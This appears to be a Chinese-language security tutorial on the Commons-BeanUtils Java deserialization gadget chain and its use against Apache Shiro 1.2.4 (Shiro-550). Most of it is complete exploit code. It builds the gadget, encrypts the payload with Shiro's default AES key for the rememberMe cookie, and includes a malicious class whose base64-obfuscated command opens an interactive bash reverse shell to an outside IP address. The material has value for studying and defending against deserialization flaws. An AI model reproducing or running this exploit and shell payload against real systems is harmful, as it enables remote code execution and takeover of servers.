零、介绍 Shiro的CB链其实就是CC链做一些小改,因为Shiro框架首先是自带Commoncollections这个包的,除此之外还带了一个包叫做Common BeanUtils包,这个包就是本文的重点
一、回顾CommonCollections4利用链 在CC4中有如下图中调用的一条链
1 2 3 4 5 6 7 8 9 10 11 12 * Gadget chain:  *      ObjectInputStream.readObject()  *          PriorityQueue.readObject()  *              PriorityQueue.heapify()  *                  PriorityQueue.siftDown()  *                 PriorityQueue.siftDownUsingComparator()  *                     TransformingComparator.compare()  *                         InvokerTransformer.transform()  *                             Method.invoke()  *                                 TemplatesImpl.newTransformer()  *                                     TemplatesImpl.getTransletInstance()  *                                         Runtime.exec() 
这个链是进行恶意类加载的,其中用到了CommonCollection的类都有:
TransformingComparator 
Transformer 
TiedMapEntry 
InstantiateTransformer 
InvokerTransformer 
 
主要是第一个,后面三个在接下来会发现不需要用到
二、Common-BeanUtils利用链 CB链和CC4的异同点就在于触发compare这个地方,也就是在CB链中哪里调用了compare方法,进而连接上链子PropertyUtils.getProperty方法property属性,关于这一点我们可以写个Demo测试一下
(1)任意get调用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package  org.example;import  org.apache.commons.beanutils.BeanComparator;import  org.apache.commons.beanutils.PropertyUtils;public  class  App {     public  static  void  main ( String[] args )  throws  Exception {         PropertyUtils.getProperty(new  User ("test" ,"111" ), "name" );     }     } 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package  org.example;public  class  User  {    private  String name="Boogipop" ;     private  String age;     public  String getName ()  {         System.out.println("get" );         return  name;     }     public  void  setName (String name)  {         System.out.println("set" );         this .name = name;     }     public  User (String name, String age)  {         this .name = name;         this .age = age;     }     public  String getAge ()  {         System.out.println("get" );         return  age;     }     public  void  setAge (String age)  {         System.out.println("set" );         this .age = age;     } } 
运行后会发现调用了get方法
(2)任意类实例化 那么很容易就联想的到TempaltesImpl类进行恶意类实例化,因为该类有一个方法叫做getOutputProperties()这方法里面会进而触发任意类的实例化,从而执行命令,这个恶意类必须继承AbstractTranslet类,否则实例化失败,这都是之前学CC4讲的,这里直接放个链接Java反序列化研究 
(3)CB链POC编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package  org.example;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javassist.ClassPool;import  javassist.NotFoundException;import  org.apache.commons.beanutils.BeanComparator;import  org.apache.commons.beanutils.PropertyUtils;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationTargetException;import  java.util.PriorityQueue;public  class  App {     public  static  void  setFieldValue (Object obj, String fieldName, Object value)  throws  Exception {         Field  field  =  obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true );         field.set(obj, value);     }     public  static  void  main ( String[] args )  throws  Exception {         TemplatesImpl  obj  =  new  TemplatesImpl ();         setFieldValue(obj, "_bytecodes" , new  byte [][]{                 ClassPool.getDefault().get(evil.class.getName()).toBytecode()         });         setFieldValue(obj, "_name" , "HelloTemplatesImpl" );         setFieldValue(obj, "_tfactory" , new  TransformerFactoryImpl ());         final  BeanComparator  comparator  =  new  BeanComparator ();         final  PriorityQueue<Object> queue = new  PriorityQueue <Object>(2 , comparator);                  queue.add(1 );         queue.add(1 );         setFieldValue(comparator, "property" , "outputProperties" );         setFieldValue(queue, "queue" , new  Object []{obj, obj});         ByteArrayOutputStream  barr  =  new  ByteArrayOutputStream ();         ObjectOutputStream  oos  =  new  ObjectOutputStream (barr);         oos.writeObject(queue);         oos.close();         System.out.println(barr);         ObjectInputStream  ois  =  new  ObjectInputStream (new  ByteArrayInputStream (barr.toByteArray()));         Object  o  =  (Object)ois.readObject();     }     } 
这个POC中唯一需要注意的地方就是这个queue.add调用2次是为了能够正常的进行反序列化,因为最小大小是需要2的,这个下面分析的时候我会说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <project  xmlns ="http://maven.apache.org/POM/4.0.0"  xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"    xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" >   <modelVersion > 4.0.0</modelVersion >    <groupId > org.example</groupId >    <artifactId > shiroattack</artifactId >    <version > 1.0-SNAPSHOT</version >    <packaging > jar</packaging >    <name > shiroattack</name >    <url > http://maven.apache.org</url >    <properties >      <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding >    </properties >    <dependencies >      <dependency >        <groupId > org.apache.shiro</groupId >        <artifactId > shiro-core</artifactId >        <version > 1.2.4</version >      </dependency >      <dependency >        <groupId > org.javassist</groupId >        <artifactId > javassist</artifactId >        <version > 3.27.0-GA</version >      </dependency >      <dependency >        <groupId > commons-collections</groupId >        <artifactId > commons-collections</artifactId >        <version > 3.2.1</version >      </dependency >      <dependency >        <groupId > commons-logging</groupId >        <artifactId > commons-logging</artifactId >        <version > 1.1.1</version >      </dependency >    </dependencies >  </project > 
(4)POC链调试分析 最外面套的还是优先队列PriorityQueue,因此在它的readObject方法上打上断点(其实CC4调了一遍,复古一次)	newTransformer()getTransletInstance()
三、Shiro550 Attack (1)环境搭建 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 docker pull medicean/vulapps:s_shiro_1docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
(2)POC分析 其实Shiro 550用的就是上面的链子,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在最后生成的Base64字符串再进行一次AES加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package  org.example;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javassist.ClassPool;import  javassist.NotFoundException;import  org.apache.commons.beanutils.BeanComparator;import  org.apache.commons.beanutils.PropertyUtils;import  org.apache.shiro.crypto.AesCipherService;import  org.apache.shiro.util.ByteSource;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationTargetException;import  java.util.Base64;import  java.util.PriorityQueue;public  class  App {     public  static  void  setFieldValue (Object obj, String fieldName, Object value)  throws  Exception {         Field  field  =  obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true );         field.set(obj, value);     }     public  static  void  main ( String[] args )  throws  Exception {         TemplatesImpl  obj  =  new  TemplatesImpl ();         setFieldValue(obj, "_bytecodes" , new  byte [][]{                 ClassPool.getDefault().get(evil.class.getName()).toBytecode()         });         setFieldValue(obj, "_name" , "HelloTemplatesImpl" );         setFieldValue(obj, "_tfactory" , new  TransformerFactoryImpl ());         final  BeanComparator  comparator  =  new  BeanComparator ();         final  PriorityQueue<Object> queue = new  PriorityQueue <Object>(2 , comparator);                  queue.add(1 );         queue.add(1 );         setFieldValue(comparator, "property" , "outputProperties" );         setFieldValue(queue, "queue" , new  Object []{obj, obj});         ByteArrayOutputStream  barr  =  new  ByteArrayOutputStream ();         ObjectOutputStream  oos  =  new  ObjectOutputStream (barr);         oos.writeObject(queue);         oos.close();         byte [] payload= barr.toByteArray();         AesCipherService  aes  =  new  AesCipherService ();         byte  [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" );         ByteSource  finalpayload  =  aes.encrypt(payload,key);         System.out.println(finalpayload.toString());     }     } 
在当前环境中shiro中是没有cc依赖的,因此运行上述poc会出现一个报错:org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面:
(3)无依赖Attack Shiro 问题所在点也就是Compare方法上
实现java.util.Comparator接口 
实现java.io.Serializable接口 
Java、shiro或commons-beanutils自带,且兼容性强 
 
通过IDEA的功能,我们找到一个CaseInsensitiveComparator:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package  org.example;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javassist.ClassPool;import  javassist.NotFoundException;import  org.apache.commons.beanutils.BeanComparator;import  org.apache.commons.beanutils.PropertyUtils;import  org.apache.shiro.crypto.AesCipherService;import  org.apache.shiro.util.ByteSource;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationTargetException;import  java.util.Base64;import  java.util.PriorityQueue;public  class  App {     public  static  void  setFieldValue (Object obj, String fieldName, Object value)  throws  Exception {         Field  field  =  obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true );         field.set(obj, value);     }     public  static  void  main ( String[] args )  throws  Exception {         TemplatesImpl  obj  =  new  TemplatesImpl ();         setFieldValue(obj, "_bytecodes" , new  byte [][]{                 ClassPool.getDefault().get(evil.class.getName()).toBytecode()         });         setFieldValue(obj, "_name" , "HelloTemplatesImpl" );         setFieldValue(obj, "_tfactory" , new  TransformerFactoryImpl ());         final  BeanComparator  comparator  =  new  BeanComparator (null , String.CASE_INSENSITIVE_ORDER);         final  PriorityQueue<Object> queue = new  PriorityQueue <Object>(2 , comparator);                  queue.add("1" );         queue.add("2" );         setFieldValue(comparator, "property" , "outputProperties" );         setFieldValue(queue, "queue" , new  Object []{obj, obj});         ByteArrayOutputStream  barr  =  new  ByteArrayOutputStream ();         ObjectOutputStream  oos  =  new  ObjectOutputStream (barr);         oos.writeObject(queue);         oos.close();         byte [] payload= barr.toByteArray();         AesCipherService  aes  =  new  AesCipherService ();         byte  [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" );         ByteSource  finalpayload  =  aes.encrypt(payload,key);         System.out.println(finalpayload.toString());                                }     } 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package  org.example;import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;import  java.io.IOException;public  class  evil  extends  AbstractTranslet  {    static  {         try  {             Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjQuMjM1LjE3Ni84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" );         } catch  (IOException e) {             throw  new  RuntimeException (e);         }     }     public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     } }